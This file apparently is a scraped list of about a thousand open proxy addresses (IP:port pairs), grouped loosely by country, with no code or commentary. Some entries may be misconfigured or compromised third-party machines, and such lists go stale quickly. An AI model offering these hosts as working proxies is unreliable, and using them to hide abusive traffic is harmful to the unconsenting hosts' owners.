181.129.66.138:55679 181.143.182.91:3128 181.143.17.37:8080 181.129.140.83:60893 181.143.106.162:39617 181.143.226.253:999 181.129.164.174:999 181.143.73.34:53281 181.129.165.250:999 181.48.47.26:53281 181.48.43.186:3128 181.129.72.83:39911 181.48.242.27:9991 181.49.24.126:8081 181.48.111.246:49094 181.57.151.214:8080 181.52.237.106:58484 181.57.198.102:46960 181.57.166.102:3128 181.48.28.66:49057 181.234.5.249:8080 181.48.216.115:9991 186.146.2.111:60837 186.148.190.75:999 186.183.185.82:48209 186.148.189.27:8080 186.148.190.78:9991 190.145.148.34:56368 190.145.31.74:9991 190.242.98.61:8083 190.60.103.178:8080 190.7.141.66:59737 191.102.82.94:9991 191.102.86.108:999 191.102.86.166:8080 191.102.94.138:8181 191.103.219.225:48612 186.154.203.214:8080 186.179.110.49:8181 186.179.97.210:8181 190.60.76.120:8080 190.61.40.166:53281 186.86.247.169:39168 190.61.41.163:8080 190.7.113.59:80 190.96.214.59:8080 191.102.106.1:8181 190.121.157.142:9991 190.147.137.66:43234 190.147.93.2:43356 200.116.198.148:54279 200.116.226.210:50375 190.242.119.194:8020 190.242.43.138:8181 200.35.49.89:43006 190.248.68.18:8080 190.7.113.56:80 190.249.158.128:40570 190.109.167.98:60273 190.7.113.57:80 190.7.113.63:80 190.68.37.98:8080 190.121.157.141:9991 191.102.70.82:999 190.7.113.53:80 191.102.85.241:9000 190.7.113.54:80 190.7.113.55:80 186.183.220.2:8080 190.121.157.130:9991 190.90.45.2:43659 190.128.112.106:42248 190.93.156.106:8080 190.184.144.170:58975 191.102.95.94:9991 190.217.22.237:999 190.29.101.62:44427 186.96.100.235:9991 186.96.112.93:9991 190.60.4.159:3128 190.61.55.189:9991 190.7.113.60:80 190.85.115.78:3128 190.84.232.82:8080 191.103.254.145:47324 190.90.87.29:999 191.102.70.82:9991 200.24.17.54:8080 190.0.244.253:8080 190.144.51.114:8080 190.248.153.162:8080 190.7.113.52:80 190.7.113.61:80 190.7.113.62:80 200.116.198.177:47021 200.122.211.26:8080 200.35.56.161:35945 200.122.211.6:8080 200.69.71.121:8080 200.69.67.138:999 200.69.83.50:9991 200.29.109.112:44749 200.35.44.189:37452 201.234.178.218:80 201.234.178.222:80 201.184.128.134:30291 200.69.83.53:9991 201.184.130.194:51406 201.219.213.197:999 201.184.175.210:42886 201.236.237.55:45846 201.184.233.179:8080 201.184.175.210:8888 201.219.213.228:8080 200.69.78.91:63141 200.69.86.196:9991 138.186.21.86:53281 132.255.23.157:3128 138.117.85.217:999 138.117.85.162:8080 45.7.134.28:999 45.7.132.78:999 147.75.113.110:8080 190.109.167.9:57608 190.217.25.242:9991 190.90.100.233:8080 152.204.128.46:31578 138.117.84.176:999 170.247.0.230:999 138.117.85.113:999 200.69.66.43:999 200.69.83.51:9991 200.69.83.54:9991 170.247.1.4:8080 152.204.130.62:8080 45.7.132.66:999 179.14.134.1:8083 138.117.84.69:8080 200.110.172.2:80 200.122.213.26:8080 200.69.87.77:999 181.48.54.202:3128 190.0.244.252:8080 181.10.129.85:8080 181.10.135.222:45431 181.10.135.221:23500 181.114.224.42:8080 181.114.63.129:8085 181.13.198.50:8080 181.15.156.170:80 181.209.82.154:23500 181.189.221.209:61783 181.15.156.170:8080 181.94.195.152:8080 181.192.7.231:8080 181.230.22.19:8080 186.18.231.35:8080 186.133.176.174:8080 190.104.255.9:8080 190.110.180.221:9090 190.2.21.155:9991 190.211.80.77:8080 186.153.203.220:8080 190.210.8.70:8080 190.220.1.173:37319 190.221.152.130:52116 186.125.218.130:999 190.104.47.52:8081 186.125.59.8:39858 190.104.47.51:8081 200.127.220.21:8080 200.16.208.187:8080 190.18.207.58:53281 190.210.8.69:8080 200.32.51.179:8080 190.104.47.50:8081 190.104.64.242:9090 200.5.203.58:52116 190.111.238.127:49017 200.89.159.149:8000 190.104.255.13:8080 200.89.178.52:3128 200.89.178.88:3128 190.15.207.185:3128 190.2.63.193:8080 190.14.156.228:23500 190.211.80.76:8080 190.221.217.117:8085 200.89.174.181:3128 200.89.178.195:8080 200.89.178.196:3128 200.89.178.40:80 200.89.178.52:80 201.220.16.103:8080 200.115.48.82:3128 200.127.155.198:8080 191.82.236.216:8080 191.98.222.2:6666 200.5.125.37:8080 200.61.47.234:44065 200.69.236.154:80 200.89.178.156:8080 200.89.178.2:8080 200.68.230.225:38275 200.89.178.42:80 200.85.123.154:53281 200.89.174.109:8080 200.89.178.11:8080 200.89.178.196:8080 200.89.178.22:80 200.89.178.22:3128 200.89.178.2:80 200.89.178.42:8080 200.89.178.83:80 200.89.178.68:8080 200.89.178.88:80 201.231.127.81:8080 200.89.178.83:3128 200.89.178.88:8080 200.69.236.154:8080 200.89.178.11:3128 200.89.178.40:3128 201.231.214.242:8888 200.89.178.40:8080 201.253.185.107:9991 200.89.178.52:8080 200.89.178.83:8080 200.24.240.187:35414 200.61.10.102:55321 200.69.236.154:3128 200.89.178.11:80 200.89.178.156:80 200.89.178.195:3128 200.89.178.22:8080 200.89.178.2:3128 138.219.249.193:3128 45.229.28.17:8080 45.172.108.57:9991 45.172.108.59:9991 45.228.189.1:999 45.230.8.20:51200 45.172.108.48:9991 45.172.108.54:9991 45.229.28.27:8080 45.7.243.21:8080 131.161.238.94:8090 190.111.233.208:53281 45.224.28.8:999 45.229.28.5:8080 152.170.254.43:8080 131.196.82.3:42348 131.161.239.147:8090 131.221.64.152:23500 200.68.230.209:38275 200.89.174.109:80 200.89.178.156:3128 200.89.178.194:3128 200.89.178.194:8080 170.78.75.111:8080 200.89.178.195:80 200.89.178.196:80 200.89.178.42:3128 143.0.245.9:46225 45.5.151.1:9090 45.5.150.3:9090 170.210.80.241:3128 45.172.108.55:9991 170.233.179.229:8080 200.89.174.78:3128 200.89.174.78:8080 23.237.23.73:3128 45.224.28.1:999 188.165.199.101:3128 185.73.206.205:32418 188.73.8.12:38489 195.154.194.149:3128 212.47.234.231:80 217.182.51.230:8080 212.47.249.126:8118 212.83.162.234:80 217.182.51.229:8080 217.182.51.228:8080 37.59.40.152:3128 5.135.178.73:701 37.187.21.85:3128 51.158.98.121:8811 54.36.229.125:3128 51.15.193.253:3128 51.158.111.242:8811 51.254.182.63:60941 51.75.153.238:3128 51.91.159.124:80 51.91.22.235:8080 5.196.132.118:3128 5.196.132.120:3128 5.196.132.121:3128 51.158.119.88:8811 51.158.178.67:3128 51.158.71.75:3128 54.38.110.35:47640 145.239.169.40:8080 77.141.61.205:3128 145.239.169.43:8080 194.167.44.91:80 145.239.169.41:8080 163.172.87.9:3128 217.182.51.224:8080 217.182.51.231:8080 163.172.148.62:8811 88.173.172.53:8080 151.80.199.89:3128 164.132.148.184:8118 5.196.132.124:3128 5.39.82.135:8125 163.172.128.177:8811 51.68.61.17:80 51.91.56.24:80 163.172.152.52:8811 145.239.169.46:8080 163.172.189.32:8811 91.121.82.76:60293 163.172.190.160:8811 163.172.162.215:8811 178.32.80.234:8080 5.196.23.219:80 217.182.120.160:8080 5.196.132.113:3128 51.158.113.142:8811 51.158.120.84:8811 51.158.185.24:3128 51.158.68.133:8811 51.158.123.35:8811 51.158.68.68:8811 54.38.185.17:3128 145.239.169.42:8080 51.91.139.89:8080 62.210.203.105:3128 62.210.124.248:3128 163.172.136.226:8811 163.172.147.94:8811 37.187.149.234:8080 46.105.123.30:3128 5.196.132.119:3128 5.196.132.122:3128 5.196.132.126:3128 51.158.106.54:8811 51.158.108.135:8811 51.158.111.229:8811 51.158.68.26:8811 51.158.99.51:8811 145.239.169.45:8080 163.172.154.72:8811 178.32.80.239:8080 217.182.120.162:8080 217.182.51.227:8080 217.182.120.166:8080 217.182.51.226:8080 217.69.1.72:8080 217.182.120.160:1080 217.182.51.230:1080 217.182.51.228:1080 217.182.51.226:1080 217.182.51.231:1080 217.182.51.225:1080 217.182.51.224:1080 217.182.120.161:1080 217.182.120.164:1080 217.182.51.227:1080 217.182.51.229:1080 217.182.120.163:1080 217.182.120.162:1080 217.182.120.161:8080 217.182.120.167:1080 217.182.120.165:1080 217.182.120.166:1080 37.187.3.45:999 37.59.32.112:8080 37.187.149.129:1080 37.59.32.112:1080 5.196.132.114:3128 5.196.132.112:3128 5.196.132.117:3128 5.196.132.123:3128 5.196.132.125:3128 5.196.132.127:3128 5.196.132.115:3128 5.196.132.116:3128 51.15.168.43:80 5.196.255.171:3128 51.83.232.96:8080 88.190.203.36:80 91.134.180.11:8080 90.110.16.105:80 92.222.180.156:8080 92.222.180.156:3128 94.23.197.219:3128 5.39.65.43:3128 163.172.142.201:8080 95.128.144.1:54420 103.12.161.196:44318 103.101.83.54:8080 103.16.60.146:8080 103.16.63.90:38831 103.216.51.203:9991 103.23.134.22:8080 103.239.55.146:8080 103.242.13.69:8082 103.216.49.189:8080 103.216.48.81:8080 103.9.190.193:32381 110.235.250.2:8080 103.242.14.8:48791 110.74.199.125:35604 103.242.14.68:31127 103.9.188.236:30274 103.9.190.203:8080 110.74.219.122:8080 110.74.221.18:53348 103.9.190.243:33699 103.248.42.88:8080 110.74.208.154:21776 110.74.222.103:60341 110.74.216.230:52023 111.118.128.161:8080 110.74.222.185:54351 110.74.222.212:80 103.9.188.160:61679 111.90.177.133:8080 103.9.190.206:48377 111.118.128.123:8080 111.118.154.20:53281 111.90.188.210:8080 203.80.170.87:21776 110.74.198.67:8080 113.130.126.2:52265 103.9.188.151:38439 114.134.190.230:37767 111.92.243.154:32489 110.74.216.216:53495 111.118.155.80:53990 116.212.129.134:8080 119.15.90.38:31112 119.15.91.137:50712 110.74.193.149:36328 110.74.222.159:40348 119.82.252.71:30506 203.189.133.5:30544 202.131.84.214:8080 119.82.252.115:49085 36.37.183.214:30011 119.82.251.250:44615 119.82.252.29:50235 119.82.253.103:42585 119.82.253.75:8080 119.82.253.123:49731 203.189.137.137:8080 119.82.253.24:44060 203.189.147.182:8080 202.62.60.38:8080 136.228.128.164:53052 119.82.249.4:46641 119.82.252.1:30853 124.248.190.215:8080 43.245.202.110:58684 27.116.61.46:34587 221.120.163.251:45788 36.37.139.2:32854 36.37.160.224:23500 42.115.39.70:49236 49.156.32.108:8080 49.156.35.230:8080 49.156.42.210:8080 49.156.44.138:80 49.156.47.61:8080 119.82.252.25:33573 119.82.252.98:8080 27.109.117.226:55667 203.176.135.98:33747 203.189.136.224:8080 114.134.186.25:57052 114.134.191.194:47080 123.108.252.170:36234 136.228.128.14:61158 116.212.131.27:33069 154.90.8.217:8080 136.228.128.6:51114 36.37.132.225:49026 167.179.4.134:8080 96.9.69.133:50693 96.9.73.80:44320 154.90.14.41:8080 202.62.39.79:8080 175.100.18.45:60537 202.79.25.246:45532 202.79.29.150:8080 203.189.142.23:53281 175.100.72.95:32215 175.100.73.206:8080 96.9.66.112:8080 42.115.88.12:39573 49.156.35.22:8080 119.82.252.122:36182 36.37.134.3:8080 36.37.223.208:57683 42.115.88.220:53281 96.9.69.164:53281 96.9.80.30:8080 96.9.80.62:49666 96.9.67.84:8080 96.9.87.2:8080 136.228.131.104:8080 175.100.16.20:37725 110.74.198.210:8080 110.74.209.202:49239 203.189.153.24:80 27.109.119.132:8080 49.156.45.181:8080 96.9.86.70:33742 185.171.52.234:49532 185.101.231.90:40676 185.134.96.42:8081 185.134.96.234:8080 185.120.251.59:80 185.42.225.114:32231 185.83.197.227:8080 185.134.96.37:8081 185.236.39.55:8080 185.106.138.217:8080 185.125.23.49:8080 185.23.128.180:3128 109.201.9.99:8080 188.136.144.129:3128 109.201.13.187:8080 2.183.232.20:8080 2.180.24.6:3128 217.66.193.251:5220 217.219.179.60:5220 46.100.52.252:8080 5.202.192.150:8080 5.253.24.38:3128 45.87.6.7:3128 37.235.28.9:41353 37.235.28.1:41353 37.235.28.41:41353 79.127.114.190:80 81.12.72.249:8080 46.209.77.236:8080 46.225.128.250:8080 46.32.25.109:80 5.160.171.45:8080 5.160.185.66:3128 5.160.218.71:3128 5.160.85.2:8080 5.202.192.149:8080 5.160.72.146:32074 5.202.192.148:8080 93.126.61.17:35637 79.127.101.31:80 80.191.174.220:8080 79.127.104.174:80 193.148.66.17:8080 78.38.242.10:8080 95.38.210.98:8080 81.12.72.235:8080 79.127.110.224:80 79.127.113.61:80 82.99.232.18:40964 81.12.72.236:8080 81.12.72.237:8080 86.109.46.173:34979 5.160.150.128:8080 151.232.219.240:8080 91.98.101.44:59052 31.47.61.35:8080 37.152.163.35:8080 37.235.28.42:32935 37.32.10.215:56696 89.41.43.167:80 37.152.163.35:80 81.12.72.241:8080 95.38.209.126:8080 46.209.77.231:8080 84.241.31.70:8080 84.241.44.182:8080 85.133.245.35:46187 178.22.122.76:8585 85.133.245.36:46187 178.22.122.93:8080 89.43.217.46:8080 91.186.218.25:23500 94.241.166.75:8080 178.173.161.59:808 95.82.35.130:80 95.82.35.197:80 78.38.227.254:35158 78.38.99.179:8080 78.38.99.180:8080 79.175.132.41:3128 79.127.105.158:80 79.127.109.63:80 85.133.130.131:8080 85.133.245.34:46187 81.12.72.253:8080 82.99.204.29:8080 87.107.18.85:8080 94.101.141.242:80 94.183.175.66:23500 46.32.25.109:8080 91.98.129.241:8080 95.82.35.194:80 81.12.72.250:8080 94.183.149.131:8080 95.38.14.3:8080 95.82.27.254:80 185.159.87.249:54100 92.50.23.66:8080 188.136.223.163:8888 185.57.164.167:80 91.98.152.10:8080 157.119.188.61:8080 217.219.193.123:39496 104.248.155.165:8080 20.184.24.172:3128 209.97.173.209:8080 207.148.76.176:3128 207.148.76.187:8080 13.67.55.176:3128 206.189.80.16:8080 207.148.78.37:8118 139.180.144.157:8080 206.189.45.166:8888 206.189.45.191:80 128.199.90.230:8118 139.180.128.99:8000 139.180.217.218:3128 45.32.102.175:8080 45.76.146.166:8080 45.76.145.145:3128 45.77.34.150:9999 45.77.42.14:3128 45.77.45.69:8080 52.187.121.7:3128 68.183.188.100:3128 45.32.112.140:3128 45.32.113.59:8000 45.76.146.8:3128 45.76.145.182:3128 45.76.176.78:8080 45.77.40.254:8080 54.169.173.153:8118 139.180.132.21:8080 139.180.147.14:3128 139.99.16.116:3128 66.42.59.42:3128 149.28.139.109:3128 206.189.88.24:8080 45.76.150.70:3128 45.76.183.66:8080 45.77.252.85:8080 139.180.210.50:8080 149.28.157.4:8080 163.44.151.156:8888 159.89.201.15:8080 128.199.254.103:23352 149.28.148.51:3128 13.229.69.213:8118 163.44.148.89:1080 167.71.193.248:8080 163.44.148.89:8080 163.44.151.156:1080 163.44.151.156:8080 163.44.158.53:3128 163.44.158.53:81 163.44.158.73:8888 167.71.192.11:8080 163.44.159.57:3128 159.65.130.40:8888 165.22.63.194:8080 52.221.215.54:8080 167.71.205.62:8080 149.28.128.23:9999 163.44.158.53:8000 66.96.193.206:8080 163.44.158.53:8888 94.237.78.196:3128 178.128.27.168:8080 207.148.116.36:3128 45.77.42.14:8000 207.148.116.36:8888 178.128.106.137:8080 178.128.106.9:8080 180.210.201.57:3130 45.76.152.65:3128 45.76.156.233:3128 45.77.35.153:3128 45.77.39.239:3128 54.169.210.227:8118 94.237.77.196:80 52.77.249.154:8118 180.210.201.54:3128 180.210.201.55:3129 66.42.57.89:3128 163.44.148.89:8888 163.44.159.57:8000 45.76.183.66:80 47.74.183.156:3128 178.128.82.97:3128 178.128.100.74:8080 178.128.50.159:8080 178.128.98.43:8080 139.180.140.16:3128 163.44.148.89:3128 163.44.151.156:8000 163.44.158.73:1080 167.71.193.248:80 178.128.62.211:8080 45.32.113.59:3128 45.76.183.155:3128 54.255.188.140:80 52.221.207.45:80 66.42.55.80:8080 52.187.65.56:3128 178.128.84.254:80 139.99.6.142:3128 185.101.94.150:6969 195.201.230.61:3128 195.201.32.9:3128 116.203.127.92:3128 116.203.47.157:8080 207.180.226.111:3128 116.202.110.204:3128 207.180.223.239:80 116.202.105.177:8118 130.193.112.146:36923 138.201.72.117:80 213.182.158.222:80 217.91.164.39:80 138.197.177.33:3128 138.201.106.88:8080 138.201.223.250:31288 31.22.26.47:6666 80.155.163.164:8080 46.101.155.23:3128 5.189.133.231:80 5.56.18.35:38827 62.159.156.142:80 93.190.253.50:80 144.91.83.160:3128 94.130.20.85:31288 94.130.92.52:3128 94.177.224.211:8080 94.177.224.211:80 144.91.77.224:3128 134.209.254.32:8080 207.180.226.111:8080 78.47.202.24:3128 207.180.226.111:80 207.180.233.138:3128 144.91.73.67:3128 88.99.76.98:3128 164.68.113.224:3128 5.189.133.9:8080 136.243.47.220:3128 164.68.101.106:3128 5.189.169.12:80 164.68.113.224:8888 138.201.34.85:8888 157.230.112.218:80 167.99.142.213:3128 173.249.35.163:655 144.91.77.217:3128 148.251.11.217:3128 167.86.92.144:3128 172.105.77.206:3128 176.9.127.77:9787 173.212.231.105:3128 173.212.202.65:80 173.212.254.171:3128 91.67.17.221:3128 173.249.35.163:1448 94.177.224.211:3128 164.68.101.107:3128 91.205.174.26:80 5.189.163.32:8888 164.68.103.171:3128 144.91.77.223:3128 54.36.119.173:3128 144.91.78.50:3128 79.253.203.5:8080 176.9.127.77:9640 46.101.176.49:8080 91.8.60.88:7425 5.9.73.93:8080 95.179.249.190:3128 178.238.234.44:3128 178.200.170.41:8080 78.47.41.105:8080 144.91.77.225:3128 144.91.83.133:3128 157.230.112.218:8080 173.212.205.33:3128 173.249.35.163:10010 173.249.35.163:10020 116.203.9.48:3128 207.154.231.213:3128 207.154.231.212:8080 207.154.231.212:3128 207.154.231.216:3128 207.154.200.199:3128 207.154.231.216:8080 207.154.231.213:8080 207.154.231.217:3128 207.154.231.211:8080 207.154.231.211:3128 207.154.231.217:8080 207.180.240.231:8000 46.4.96.137:8080 46.4.96.137:3128 5.189.163.32:8080 80.241.210.126:3128 88.198.24.108:8080 88.198.24.108:3128 88.198.50.103:3128 88.198.50.103:8080 104.243.252.231:8080 185.238.239.37:8090 185.119.186.10:8090 185.149.201.138:41258 185.238.239.80:8090 185.238.239.103:8090 185.238.239.56:8090 185.238.239.93:8090 185.238.239.64:8090 193.193.71.178:43857 193.34.55.64:50099 185.79.243.137:48488 188.121.8.222:52190 109.196.15.142:49133 194.181.82.190:35447 194.28.222.1:31227 185.238.239.76:8090 185.50.166.224:8080 109.196.82.214:46950 109.199.77.83:44764 193.106.130.249:8080 193.239.103.19:34415 212.180.196.130:36829 217.168.128.226:8080 212.180.196.131:36829 212.87.248.11:40762 37.247.209.179:8080 31.179.188.158:51184 31.179.224.42:54553 51.68.141.240:3128 46.20.59.243:47497 5.63.188.165:44281 91.150.189.122:42398 91.207.184.112:53281 188.125.40.221:36769 91.222.27.31:46514 92.244.36.85:47150 62.89.68.220:46862 130.180.196.43:30567 78.8.188.250:32040 151.248.63.153:8080 77.87.1.43:8080 78.8.126.198:8080 81.190.208.52:34418 213.241.10.15:53947 46.20.59.11:8080 83.29.102.64:8080 46.227.247.27:8080 87.116.201.80:8080 85.193.195.236:53233 155.133.83.91:8080 88.199.82.66:32110 176.103.40.198:43581 62.69.214.17:8090 93.179.209.216:57520 79.191.49.254:8080 176.221.108.218:8080 178.212.54.137:8080 82.177.38.187:8080 83.168.86.189:8090 46.232.132.249:53769 83.2.189.66:38011 83.29.230.243:8080 178.217.140.70:443 178.217.216.184:49086 178.219.31.252:8080 5.185.66.236:8080 87.251.238.156:43549 89.186.1.215:53281 91.225.190.77:53281 95.160.17.142:40472 80.52.206.34:59061 82.177.38.195:8080 83.13.50.149:3128 88.199.164.141:8080 88.199.21.75:80 88.199.164.136:8080 88.199.82.68:32110 89.174.219.74:8080 93.179.231.41:41258 91.204.154.238:8080 94.240.28.242:47910 91.236.133.18:8080 178.219.28.254:8080 78.8.188.200:32040 83.13.164.202:41734 83.175.166.234:8080 85.232.248.9:8080 88.199.164.140:8080 89.22.210.191:41258 91.206.210.54:31909 31.214.138.207:8080 62.148.92.197:8080 83.242.123.248:8080 83.12.5.154:8080 81.161.205.4:8080 83.17.171.250:57087 94.40.90.10:46608 192.162.62.197:59246 194.28.223.242:31227 181.112.228.6:999 181.112.217.78:30270 181.112.62.154:30111 181.112.225.78:35482 181.113.225.114:8080 181.112.57.54:53281 181.113.225.198:53281 181.112.57.34:43727 181.112.228.182:50621 181.113.135.254:52058 181.112.216.54:41977 181.112.228.6:9991 181.113.131.98:47961 181.113.35.6:33314 181.112.58.22:65238 181.198.242.220:8080 181.196.31.2:53281 181.196.244.182:48241 181.198.97.241:30072 181.211.38.62:47911 181.211.240.147:30674 181.211.162.86:53281 181.211.245.74:38033 181.211.38.58:53281 181.211.38.138:8080 181.196.145.106:45576 181.196.147.98:51343 181.196.254.202:53281 181.196.205.250:54024 181.196.77.70:53281 181.196.31.106:61724 181.39.32.122:8080 181.211.34.227:35692 186.178.7.142:45311 186.42.224.222:42192 186.47.17.70:54909 186.47.82.6:41430 186.47.41.146:53281 190.11.15.2:33908 190.52.193.100:80 190.152.223.2:61860 190.152.39.78:39906 186.4.251.135:8080 186.42.173.122:42589 186.42.252.122:59882 190.214.26.90:53281 186.42.163.234:35177 186.42.252.46:37519 186.42.186.202:48281 186.46.136.70:30750 186.46.39.50:59127 186.46.222.226:59765 186.47.83.126:80 190.152.0.130:37582 190.152.37.90:8888 190.152.36.102:31884 190.152.71.30:58727 186.3.147.10:21776 186.46.3.238:46849 190.57.169.174:57627 190.152.213.126:44811 201.182.241.98:9991 190.152.36.82:34575 190.152.12.54:41031 190.152.71.230:54354 186.42.175.138:40125 186.46.6.233:46849 190.52.193.90:63141 190.52.193.97:63141 190.152.245.18:8080 190.214.27.46:8080 201.219.57.82:9991 190.63.144.26:48302 190.63.144.29:48302 191.100.25.218:21231 200.124.243.59:8080 201.217.71.122:8080 201.219.32.105:999 201.219.57.89:9991 200.69.181.74:8080 201.219.57.88:9991 45.236.170.9:3282 45.70.200.178:8080 45.71.113.204:999 45.236.104.86:8080 45.70.200.179:8080 190.12.58.187:53281 45.162.72.3:9991 190.152.19.62:36711 170.246.85.106:50991 45.236.170.6:3282 45.224.97.106:999 45.224.20.41:999 181.112.40.114:46310 201.219.57.84:9991 102.165.68.20:8080 102.130.114.89:8080 102.177.105.34:3128 102.130.114.89:8000 102.176.197.253:56580 102.182.77.131:8080 102.130.114.89:3128 105.19.59.192:80 196.251.19.114:53281 105.19.49.178:80 105.247.171.202:8080 105.212.11.128:59610 105.29.85.19:51130 196.37.158.200:8080 105.28.121.209:40638 196.44.67.172:53281 197.148.64.194:8080 105.28.113.134:61910 105.29.64.195:41130 196.251.19.115:53281 196.37.158.201:8080 105.27.198.210:40638 197.231.196.44:43298 196.251.19.113:53281 196.41.102.130:50933 105.19.49.182:80 105.27.116.46:52075 196.44.38.115:34148 197.242.206.105:51489 197.245.230.122:36844 129.205.138.162:36423 41.164.247.250:38460 41.193.22.153:45272 213.172.156.35:33885 41.169.11.210:45088 41.170.4.13:53281 41.138.66.145:8080 41.160.40.2:37741 41.164.247.186:53281 41.175.158.114:8080 66.251.179.225:8080 41.193.238.242:8080 41.79.16.154:8085 154.126.209.233:44042 154.126.211.169:41014 154.66.254.193:42914 156.0.229.194:40956 156.155.176.220:8080 196.15.170.98:32965 165.73.130.201:8080 154.0.15.65:8080 154.117.159.228:8080 154.0.15.166:46547 154.119.79.254:53281 165.255.73.63:53281 154.70.134.75:8080 165.255.84.61:8888 165.73.128.225:56975 168.253.71.149:53281 41.160.252.116:53281 41.162.121.131:59400 41.193.238.249:8080 169.0.92.192:8080 169.1.151.19:8080 169.255.234.166:8080 41.160.136.77:8080 41.160.6.186:42506 41.169.158.90:8080 165.255.254.204:8080 154.0.12.233:8080 154.0.15.233:8080 169.239.45.37:8080 154.117.155.42:33219 169.159.190.25:53281 41.169.146.2:8080 41.170.12.92:37444 41.170.84.218:12354 154.0.14.113:8080 154.66.241.27:52004 160.119.44.210:8080 169.239.223.136:30644 169.255.222.227:58954 197.245.103.109:8080 41.76.218.96:8080 105.22.37.2:51130 165.255.250.12:8080 41.180.65.27:45160 102.164.214.225:61689 196.6.232.32:8080 185.108.123.241:3128 185.108.123.245:3128 185.142.208.160:53494 185.15.252.41:8080 185.219.164.139:8080 185.138.69.110:39274 185.32.181.153:8080 185.57.228.61:53281 185.199.84.161:53281 185.99.64.75:50167 185.47.223.53:8080 188.75.138.234:61584 193.165.152.110:8080 194.213.43.166:58015 185.131.60.103:53281 188.75.152.114:50630 193.86.229.230:8080 109.164.112.109:23500 109.238.222.5:46238 213.250.228.18:8080 212.24.148.234:55017 213.226.255.24:55188 46.167.205.153:32814 46.253.96.185:41258 46.253.97.42:41258 79.110.39.161:8080 79.98.77.242:8080 82.100.4.63:45794 82.100.63.181:51719 46.167.205.150:32814 46.227.14.107:52689 89.102.198.78:38412 89.111.105.77:41258 128.0.179.234:41258 80.87.184.49:41258 77.48.22.59:38415 82.113.39.38:33915 80.250.20.190:8080 89.111.105.78:41258 89.111.105.94:41258 89.111.105.68:41258 93.185.96.60:41003 91.139.1.158:37504 95.129.97.13:34706 176.74.134.6:53281 217.30.77.209:53281 89.111.105.73:41258 90.178.25.224:60737 90.183.158.50:55065 46.227.169.206:8888 46.253.97.43:41258 46.28.108.251:3128 93.153.95.186:39413 93.99.179.233:8080 178.77.197.96:55555 78.108.110.113:8080 77.48.23.181:38813 88.146.168.15:60381 88.102.13.246:33651 89.239.25.7:31964 89.248.244.182:8080 89.31.46.208:8080 93.185.96.61:43749 93.185.96.62:41003 93.99.179.133:8080 93.99.179.51:8080 93.99.190.65:8080 93.99.68.177:44017 77.48.23.199:51937 88.81.72.240:35476 89.111.105.81:41258 89.111.105.88:41258 46.183.56.107:49725 80.90.133.250:8080 89.102.2.149:8080 95.80.252.189:52371 178.77.238.2:8080 187.131.229.201:3128 187.188.17.170:8080 187.190.236.149:3128 187.190.36.234:3128 187.191.4.88:8080 187.162.11.94:3128 187.243.248.86:8080 189.157.226.78:8080 189.187.174.189:8080 189.174.112.102:8080 189.204.242.178:8080 187.130.139.197:6300 187.188.71.107:3128 187.216.90.46:53281 187.191.20.11:54375 187.217.246.82:8080 187.191.20.5:54375 187.248.71.119:8080 187.163.36.54:35611 187.248.71.121:8080 187.189.73.66:9991 189.201.192.114:43451 187.190.236.137:3128 189.183.140.116:8080 187.141.164.242:31120 187.190.220.101:8080 187.191.20.3:54375 187.248.71.117:8080 200.94.140.50:41768 201.144.14.229:53281 200.188.151.212:8080 187.188.168.57:9991 187.243.253.182:33796 201.148.23.117:52369 201.151.79.30:8080 201.116.230.229:43365 200.66.94.147:8080 131.196.141.181:33729 131.196.141.208:33729 131.196.141.179:33729 38.123.76.35:999 45.5.94.148:35258 45.5.94.219:35258 45.5.94.221:35258 189.157.102.241:8080 189.194.93.226:8080 189.198.239.61:33920 189.204.158.161:8080 131.196.141.148:33729 131.196.141.95:33729 131.196.143.174:33729 131.196.141.32:33729 131.196.143.209:33729 131.196.141.201:33729 38.123.76.45:999 170.81.141.35:53281 177.224.81.60:8080 38.123.76.111:999 45.5.94.145:35258 138.186.200.21:8080 148.217.94.54:3128 45.175.239.254:999 189.198.224.1:80 189.204.241.44:56792 201.140.116.186:8080 201.159.177.74:41170 185.185.113.20:47413 185.200.36.91:8080 185.251.33.194:39613 185.237.80.214:38469 185.80.21.93:8080 185.83.145.92:3128 185.208.100.198:54016 185.86.4.78:3128 193.160.214.136:8090 185.208.100.199:8080 109.236.48.29:9999 185.51.36.152:41258 109.236.48.44:59953 109.236.48.33:9999 193.160.214.143:8090 193.160.214.138:8090 195.175.74.254:8080 212.154.83.126:35116 212.156.146.22:40080 212.154.58.121:35116 213.159.29.248:3128 212.154.83.113:35116 212.156.55.34:8080 213.128.78.156:3128 212.154.58.114:35116 212.2.204.181:60725 31.145.51.146:8081 95.0.35.210:8080 95.0.66.14:9090 78.186.194.45:8080 81.8.66.150:8081 212.154.58.124:35116 79.123.169.130:8080 81.8.66.147:8081 85.106.82.210:80 5.181.19.1:8080 88.248.23.216:36426 95.9.113.12:52566 95.0.66.17:9090 176.235.99.114:30865 176.235.184.194:8080 178.250.92.18:8080 176.235.80.110:9090 95.0.66.12:9090 95.0.66.15:9090 31.145.138.129:31871 95.9.216.171:8080 78.187.50.200:47103 78.186.111.109:8080 78.187.159.161:8080 85.98.95.59:31284 85.99.228.87:42371 176.235.191.136:7070 95.0.194.6:9090 95.9.150.33:54749 88.255.102.90:8080 88.255.182.170:8080 176.235.99.37:55354 212.175.98.174:8080 213.14.31.122:48024 78.187.90.47:8080 88.255.102.119:23500 31.145.137.139:31871 104.167.113.48:3128 192.158.15.201:60684 192.99.43.175:8080 192.99.43.175:3128 207.188.73.155:80 199.19.254.164:8080 24.37.245.42:36836 23.236.180.234:800 23.229.0.242:800 216.126.82.39:8080 138.128.117.162:801 23.236.180.234:80 51.79.141.173:8080 51.79.25.221:8080 51.79.28.43:8080 52.139.5.123:3128 51.79.140.77:8080 51.79.38.73:9999 144.217.74.219:3128 142.165.167.117:53281 68.183.198.164:8080 144.217.169.71:8080 68.183.198.164:80 144.217.161.146:8080 149.56.106.104:3128 149.56.191.12:8080 138.197.169.237:3128 159.203.13.53:3128 159.203.27.152:8080 159.203.34.129:8080 144.217.22.128:8080 159.203.8.17:80 159.203.13.53:80 149.56.12.174:8080 159.89.113.32:3128 24.226.146.46:48242 51.79.141.195:8080 165.227.33.84:3128 52.60.91.99:8888 158.69.0.139:3128 159.203.36.11:8080 23.229.0.242:80 51.79.141.1:8080 68.183.198.164:3128 70.35.213.229:36127 74.59.132.126:49073 51.79.141.88:8080 51.79.29.48:8080 51.79.65.157:3128 52.139.3.25:3128 159.203.44.177:3128 198.50.214.17:8585 23.236.180.234:801 35.182.44.186:8080 51.79.88.224:8080 51.79.89.139:8080 51.79.92.33:8080 51.79.88.64:8080 71.17.253.132:60508 69.196.150.210:3128 167.99.179.88:3128 